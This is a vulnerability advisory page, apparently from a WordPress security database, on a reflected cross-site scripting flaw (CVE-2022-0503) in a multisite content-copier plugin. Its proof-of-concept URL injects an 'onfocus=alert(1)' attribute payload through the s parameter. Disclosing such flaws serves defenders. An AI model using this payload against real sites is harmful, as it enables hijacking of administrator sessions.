Multisite Content Copier/Updater < 2.1.2 – Reflected Cross-Site Scripting | CVE 2022-0503 | Plugin Vulnerabilities

Description

The plugin does not sanitise and escape the s parameter before outputting it back in an attribute, leading to a Reflected Cross-Site Scripting issue in the network dashboard

Proof of Concept

https://example.com/wp-admin/network/admin.php?page=wordpress-multisite-content-copier&s=dxsqp"+onfocus%3Dalert(1)+autofocus%3D+p00d5qdcwad&wmcc_records[0]=1&wmcc_content_type=post&wmcc_source_blog=4&wmcc_record_per_page=10&wmcc_destination_blogs[0]=1&wmcc_destination_blogs[1]=2&wmcc_destination_blogs[2]=3&wmcc_destination_blogs[3]=5&copy_media=1&copy_terms=1&wmcc_submit=Copy%2FUpdate

Affects Plugins

wp-multisite-content-copier-pro

Fixed in 2.1.2

References

CVE

URL

https://www.hackpertise.com/cve/29/

Classification

Type

XSS

OWASP top 10

A7: Cross-Site Scripting (XSS)

CWE

CVSS

Miscellaneous

Original Researcher

Asif Nawaz Minhas

Verified

Yes

WPVDB ID

b6d38e23-3761-4447-a794-1e5077fd953a

Timeline

Publicly Published

2022-02-21 (about 3 years ago)

Added

2022-02-21 (about 3 years ago)

Last Updated

2023-04-12 (about 2 years ago)

Other

Published

Title

Published

2012-06-28

Title

Job Manager < 0.7.19 - Multiple XSS

Published

2025-10-26

Title

SimpLy Gallery <= 3.3.0 - Authenticated (Contributor+) Stored Cross-Site Scripting

Published

2025-09-22

Title

E-namad & Shamed Logo Manager <= 2.2 - Authenticated (Administrator+) Stored Cross-Site Scripting

Published

2024-09-30

Title

Search Atlas SEO < 1.8.3 - Authenticated (Administrator+) Stored Cross-Site Scripting

Published

2023-03-22

Title

I Recommend This < 3.9.1 - CSRF